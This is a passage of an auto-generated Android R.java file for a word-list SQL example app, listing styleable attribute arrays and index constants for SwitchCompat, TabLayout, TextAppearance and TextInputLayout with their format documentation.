@see #SwitchCompat_android_textOff
@see #SwitchCompat_android_textOn
@see #SwitchCompat_android_thumb
@see #SwitchCompat_showText
@see #SwitchCompat_splitTrack
@see #SwitchCompat_switchMinWidth
@see #SwitchCompat_switchPadding
@see #SwitchCompat_switchTextAppearance
@see #SwitchCompat_thumbTextPadding
@see #SwitchCompat_thumbTint
@see #SwitchCompat_thumbTintMode
@see #SwitchCompat_track
@see #SwitchCompat_trackTint
@see #SwitchCompat_trackTintMode
*/
public static final int[] SwitchCompat = {
0x01010124, 0x01010125, 0x01010142, 0x7f0100f5,
0x7f0100f6, 0x7f0100f7, 0x7f0100f8, 0x7f0100f9,
0x7f0100fa, 0x7f0100fb, 0x7f0100fc, 0x7f0100fd,
0x7f0100fe, 0x7f0100ff
};
/**
<p>This symbol is the offset where the {@link android.R.attr#textOff}
attribute's value can be found in the {@link #SwitchCompat} array.
@attr name android:textOff
*/
public static final int SwitchCompat_android_textOff = 1;
/**
<p>This symbol is the offset where the {@link android.R.attr#textOn}
attribute's value can be found in the {@link #SwitchCompat} array.
@attr name android:textOn
*/
public static final int SwitchCompat_android_textOn = 0;
/**
<p>This symbol is the offset where the {@link android.R.attr#thumb}
attribute's value can be found in the {@link #SwitchCompat} array.
@attr name android:thumb
*/
public static final int SwitchCompat_android_thumb = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#showText}
attribute's value can be found in the {@link #SwitchCompat} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:showText
*/
public static final int SwitchCompat_showText = 13;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#splitTrack}
attribute's value can be found in the {@link #SwitchCompat} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:splitTrack
*/
public static final int SwitchCompat_splitTrack = 12;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#switchMinWidth}
attribute's value can be found in the {@link #SwitchCompat} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:switchMinWidth
*/
public static final int SwitchCompat_switchMinWidth = 10;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#switchPadding}
attribute's value can be found in the {@link #SwitchCompat} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:switchPadding
*/
public static final int SwitchCompat_switchPadding = 11;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#switchTextAppearance}
attribute's value can be found in the {@link #SwitchCompat} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:switchTextAppearance
*/
public static final int SwitchCompat_switchTextAppearance = 9;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#thumbTextPadding}
attribute's value can be found in the {@link #SwitchCompat} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:thumbTextPadding
*/
public static final int SwitchCompat_thumbTextPadding = 8;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#thumbTint}
attribute's value can be found in the {@link #SwitchCompat} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:thumbTint
*/
public static final int SwitchCompat_thumbTint = 3;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#thumbTintMode}
attribute's value can be found in the {@link #SwitchCompat} array.
<p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>src_over</code></td><td>3</td><td></td></tr>
<tr><td><code>src_in</code></td><td>5</td><td></td></tr>
<tr><td><code>src_atop</code></td><td>9</td><td></td></tr>
<tr><td><code>multiply</code></td><td>14</td><td></td></tr>
<tr><td><code>screen</code></td><td>15</td><td></td></tr>
<tr><td><code>add</code></td><td>16</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:thumbTintMode
*/
public static final int SwitchCompat_thumbTintMode = 4;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#track}
attribute's value can be found in the {@link #SwitchCompat} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:track
*/
public static final int SwitchCompat_track = 5;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#trackTint}
attribute's value can be found in the {@link #SwitchCompat} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:trackTint
*/
public static final int SwitchCompat_trackTint = 6;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#trackTintMode}
attribute's value can be found in the {@link #SwitchCompat} array.
<p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>src_over</code></td><td>3</td><td></td></tr>
<tr><td><code>src_in</code></td><td>5</td><td></td></tr>
<tr><td><code>src_atop</code></td><td>9</td><td></td></tr>
<tr><td><code>multiply</code></td><td>14</td><td></td></tr>
<tr><td><code>screen</code></td><td>15</td><td></td></tr>
<tr><td><code>add</code></td><td>16</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:trackTintMode
*/
public static final int SwitchCompat_trackTintMode = 7;
/** Attributes that can be used with a TabItem.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #TabItem_android_icon android:icon}</code></td><td></td></tr>
<tr><td><code>{@link #TabItem_android_layout android:layout}</code></td><td></td></tr>
<tr><td><code>{@link #TabItem_android_text android:text}</code></td><td></td></tr>
</table>
@see #TabItem_android_icon
@see #TabItem_android_layout
@see #TabItem_android_text
*/
public static final int[] TabItem = {
0x01010002, 0x010100f2, 0x0101014f
};
/**
<p>This symbol is the offset where the {@link android.R.attr#icon}
attribute's value can be found in the {@link #TabItem} array.
@attr name android:icon
*/
public static final int TabItem_android_icon = 0;
/**
<p>This symbol is the offset where the {@link android.R.attr#layout}
attribute's value can be found in the {@link #TabItem} array.
@attr name android:layout
*/
public static final int TabItem_android_layout = 1;
/**
<p>This symbol is the offset where the {@link android.R.attr#text}
attribute's value can be found in the {@link #TabItem} array.
@attr name android:text
*/
public static final int TabItem_android_text = 2;
/** Attributes that can be used with a TabLayout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #TabLayout_tabBackground com.android.example.wordlistsql:tabBackground}</code></td><td></td></tr>
<tr><td><code>{@link #TabLayout_tabContentStart com.android.example.wordlistsql:tabContentStart}</code></td><td></td></tr>
<tr><td><code>{@link #TabLayout_tabGravity com.android.example.wordlistsql:tabGravity}</code></td><td></td></tr>
<tr><td><code>{@link #TabLayout_tabIndicatorColor com.android.example.wordlistsql:tabIndicatorColor}</code></td><td></td></tr>
<tr><td><code>{@link #TabLayout_tabIndicatorHeight com.android.example.wordlistsql:tabIndicatorHeight}</code></td><td></td></tr>
<tr><td><code>{@link #TabLayout_tabMaxWidth com.android.example.wordlistsql:tabMaxWidth}</code></td><td></td></tr>
<tr><td><code>{@link #TabLayout_tabMinWidth com.android.example.wordlistsql:tabMinWidth}</code></td><td></td></tr>
<tr><td><code>{@link #TabLayout_tabMode com.android.example.wordlistsql:tabMode}</code></td><td></td></tr>
<tr><td><code>{@link #TabLayout_tabPadding com.android.example.wordlistsql:tabPadding}</code></td><td></td></tr>
<tr><td><code>{@link #TabLayout_tabPaddingBottom com.android.example.wordlistsql:tabPaddingBottom}</code></td><td></td></tr>
<tr><td><code>{@link #TabLayout_tabPaddingEnd com.android.example.wordlistsql:tabPaddingEnd}</code></td><td></td></tr>
<tr><td><code>{@link #TabLayout_tabPaddingStart com.android.example.wordlistsql:tabPaddingStart}</code></td><td></td></tr>
<tr><td><code>{@link #TabLayout_tabPaddingTop com.android.example.wordlistsql:tabPaddingTop}</code></td><td></td></tr>
<tr><td><code>{@link #TabLayout_tabSelectedTextColor com.android.example.wordlistsql:tabSelectedTextColor}</code></td><td></td></tr>
<tr><td><code>{@link #TabLayout_tabTextAppearance com.android.example.wordlistsql:tabTextAppearance}</code></td><td></td></tr>
<tr><td><code>{@link #TabLayout_tabTextColor com.android.example.wordlistsql:tabTextColor}</code></td><td></td></tr>
</table>
@see #TabLayout_tabBackground
@see #TabLayout_tabContentStart
@see #TabLayout_tabGravity
@see #TabLayout_tabIndicatorColor
@see #TabLayout_tabIndicatorHeight
@see #TabLayout_tabMaxWidth
@see #TabLayout_tabMinWidth
@see #TabLayout_tabMode
@see #TabLayout_tabPadding
@see #TabLayout_tabPaddingBottom
@see #TabLayout_tabPaddingEnd
@see #TabLayout_tabPaddingStart
@see #TabLayout_tabPaddingTop
@see #TabLayout_tabSelectedTextColor
@see #TabLayout_tabTextAppearance
@see #TabLayout_tabTextColor
*/
public static final int[] TabLayout = {
0x7f010100, 0x7f010101, 0x7f010102, 0x7f010103,
0x7f010104, 0x7f010105, 0x7f010106, 0x7f010107,
0x7f010108, 0x7f010109, 0x7f01010a, 0x7f01010b,
0x7f01010c, 0x7f01010d, 0x7f01010e, 0x7f01010f
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabBackground}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:tabBackground
*/
public static final int TabLayout_tabBackground = 3;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabContentStart}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:tabContentStart
*/
public static final int TabLayout_tabContentStart = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabGravity}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>fill</code></td><td>0</td><td></td></tr>
<tr><td><code>center</code></td><td>1</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:tabGravity
*/
public static final int TabLayout_tabGravity = 5;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabIndicatorColor}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:tabIndicatorColor
*/
public static final int TabLayout_tabIndicatorColor = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabIndicatorHeight}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:tabIndicatorHeight
*/
public static final int TabLayout_tabIndicatorHeight = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabMaxWidth}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:tabMaxWidth
*/
public static final int TabLayout_tabMaxWidth = 7;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabMinWidth}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:tabMinWidth
*/
public static final int TabLayout_tabMinWidth = 6;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabMode}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>scrollable</code></td><td>0</td><td></td></tr>
<tr><td><code>fixed</code></td><td>1</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:tabMode
*/
public static final int TabLayout_tabMode = 4;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabPadding}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:tabPadding
*/
public static final int TabLayout_tabPadding = 15;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabPaddingBottom}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:tabPaddingBottom
*/
public static final int TabLayout_tabPaddingBottom = 14;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabPaddingEnd}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:tabPaddingEnd
*/
public static final int TabLayout_tabPaddingEnd = 13;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabPaddingStart}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:tabPaddingStart
*/
public static final int TabLayout_tabPaddingStart = 11;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabPaddingTop}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:tabPaddingTop
*/
public static final int TabLayout_tabPaddingTop = 12;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabSelectedTextColor}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:tabSelectedTextColor
*/
public static final int TabLayout_tabSelectedTextColor = 10;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabTextAppearance}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:tabTextAppearance
*/
public static final int TabLayout_tabTextAppearance = 8;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tabTextColor}
attribute's value can be found in the {@link #TabLayout} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:tabTextColor
*/
public static final int TabLayout_tabTextColor = 9;
/** Attributes that can be used with a TextAppearance.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #TextAppearance_android_shadowColor android:shadowColor}</code></td><td></td></tr>
<tr><td><code>{@link #TextAppearance_android_shadowDx android:shadowDx}</code></td><td></td></tr>
<tr><td><code>{@link #TextAppearance_android_shadowDy android:shadowDy}</code></td><td></td></tr>
<tr><td><code>{@link #TextAppearance_android_shadowRadius android:shadowRadius}</code></td><td></td></tr>
<tr><td><code>{@link #TextAppearance_android_textColor android:textColor}</code></td><td></td></tr>
<tr><td><code>{@link #TextAppearance_android_textSize android:textSize}</code></td><td></td></tr>
<tr><td><code>{@link #TextAppearance_android_textStyle android:textStyle}</code></td><td></td></tr>
<tr><td><code>{@link #TextAppearance_android_typeface android:typeface}</code></td><td></td></tr>
<tr><td><code>{@link #TextAppearance_textAllCaps com.android.example.wordlistsql:textAllCaps}</code></td><td></td></tr>
</table>
@see #TextAppearance_android_shadowColor
@see #TextAppearance_android_shadowDx
@see #TextAppearance_android_shadowDy
@see #TextAppearance_android_shadowRadius
@see #TextAppearance_android_textColor
@see #TextAppearance_android_textSize
@see #TextAppearance_android_textStyle
@see #TextAppearance_android_typeface
@see #TextAppearance_textAllCaps
*/
public static final int[] TextAppearance = {
0x01010095, 0x01010096, 0x01010097, 0x01010098,
0x01010161, 0x01010162, 0x01010163, 0x01010164,
0x7f01002f
};
/**
<p>This symbol is the offset where the {@link android.R.attr#shadowColor}
attribute's value can be found in the {@link #TextAppearance} array.
@attr name android:shadowColor
*/
public static final int TextAppearance_android_shadowColor = 4;
/**
<p>This symbol is the offset where the {@link android.R.attr#shadowDx}
attribute's value can be found in the {@link #TextAppearance} array.
@attr name android:shadowDx
*/
public static final int TextAppearance_android_shadowDx = 5;
/**
<p>This symbol is the offset where the {@link android.R.attr#shadowDy}
attribute's value can be found in the {@link #TextAppearance} array.
@attr name android:shadowDy
*/
public static final int TextAppearance_android_shadowDy = 6;
/**
<p>This symbol is the offset where the {@link android.R.attr#shadowRadius}
attribute's value can be found in the {@link #TextAppearance} array.
@attr name android:shadowRadius
*/
public static final int TextAppearance_android_shadowRadius = 7;
/**
<p>This symbol is the offset where the {@link android.R.attr#textColor}
attribute's value can be found in the {@link #TextAppearance} array.
@attr name android:textColor
*/
public static final int TextAppearance_android_textColor = 3;
/**
<p>This symbol is the offset where the {@link android.R.attr#textSize}
attribute's value can be found in the {@link #TextAppearance} array.
@attr name android:textSize
*/
public static final int TextAppearance_android_textSize = 0;
/**
<p>This symbol is the offset where the {@link android.R.attr#textStyle}
attribute's value can be found in the {@link #TextAppearance} array.
@attr name android:textStyle
*/
public static final int TextAppearance_android_textStyle = 2;
/**
<p>This symbol is the offset where the {@link android.R.attr#typeface}
attribute's value can be found in the {@link #TextAppearance} array.
@attr name android:typeface
*/
public static final int TextAppearance_android_typeface = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#textAllCaps}
attribute's value can be found in the {@link #TextAppearance} array.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a boolean value, either "<code>true</code>" or "<code>false</code>".
@attr name com.android.example.wordlistsql:textAllCaps
*/
public static final int TextAppearance_textAllCaps = 8;
/** Attributes that can be used with a TextInputLayout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #TextInputLayout_android_hint android:hint}</code></td><td></td></tr>
<tr><td><code>{@link #TextInputLayout_android_textColorHint android:textColorHint}</code></td><td></td></tr>
<tr><td><code>{@link #TextInputLayout_counterEnabled com.android.example.wordlistsql:counterEnabled}</code></td><td></td></tr>
<tr><td><code>{@link #TextInputLayout_counterMaxLength com.android.example.wordlistsql:counterMaxLength}</code></td><td></td></tr>
<tr><td><code>{@link #TextInputLayout_counterOverflowTextAppearance com.android.example.wordlistsql:counterOverflowTextAppearance}</code></td><td></td></tr>
<tr><td><code>{@link #TextInputLayout_counterTextAppearance com.android.example.wordlistsql:counterTextAppearance}</code></td><td></td></tr>
<tr><td><code>{@link #TextInputLayout_errorEnabled com.android.example.wordlistsql:errorEnabled}</code></td><td></td></tr>
<tr><td><code>{@link #TextInputLayout_errorTextAppearance com.android.example.wordlistsql:errorTextAppearance}</code></td><td></td></tr>
<tr><td><code>{@link #TextInputLayout_hintAnimationEnabled com.android.example.wordlistsql:hintAnimationEnabled}</code></td><td></td></tr>
<tr><td><code>{@link #TextInputLayout_hintEnabled com.android.example.wordlistsql:hintEnabled}</code></td><td></td></tr>
<tr><td><code>{@link #TextInputLayout_hintTextAppearance com.android.example.wordlistsql:hintTextAppearance}</code></td><td></td></tr>
</table>
@see #TextInputLayout_android_hint
@see #TextInputLayout_android_textColorHint
@see #TextInputLayout_counterEnabled
@see #TextInputLayout_counterMaxLength
@see #TextInputLayout_counterOverflowTextAppearance
@see #TextInputLayout_counterTextAppearance
@see #TextInputLayout_errorEnabled
@see #TextInputLayout_errorTextAppearance
@see #TextInputLayout_hintAnimationEnabled
@see #TextInputLayout_hintEnabled
@see #TextInputLayout_hintTextAppearance
*/
public static final int[] TextInputLayout = {
0x0101009a, 0x01010150, 0x7f010110, 0x7f010111,
0x7f010112, 0x7f010113, 0x7f010114, 0x7f010115,
0x7f010116, 0x7f010117, 0x7f010118
};
/**
<p>This symbol is the offset where the {@link android.R.attr#hint}
attribute's value can be found in the {@link #TextInputLayout} array.
@attr name android:hint
*/
public static final int TextInputLayout_android_hint = 1;
/**
<p>This symbol is the offset where the {@link android.R.attr#textColorHint}
attribute's value can be found in the {@link #TextInputLayout} array.
@attr name android:textColorHint
*/
public static final int TextInputLayout_android_textColorHint = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#counterEnabled}
attribute's value can be found in the {@link #TextInputLayout} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:counterEnabled
*/
public static final int TextInputLayout_counterEnabled = 6;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#counterMaxLength}
attribute's value can be found in the {@link #TextInputLayout} array.
<p>Must be an integer value, such as "<code>100</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:counterMaxLength
*/
public static final int TextInputLayout_counterMaxLength = 7;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#counterOverflowTextAppearance}
attribute's value can be found in the {@link #TextInputLayout} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:counterOverflowTextAppearance
*/
public static final int TextInputLayout_counterOverflowTextAppearance = 9;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#counterTextAppearance}
attribute's value can be found in the {@link #TextInputLayout} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:counterTextAppearance
*/
public static final int TextInputLayout_counterTextAppearance = 8;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#errorEnabled}
attribute's value can be found in the {@link #TextInputLayout} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
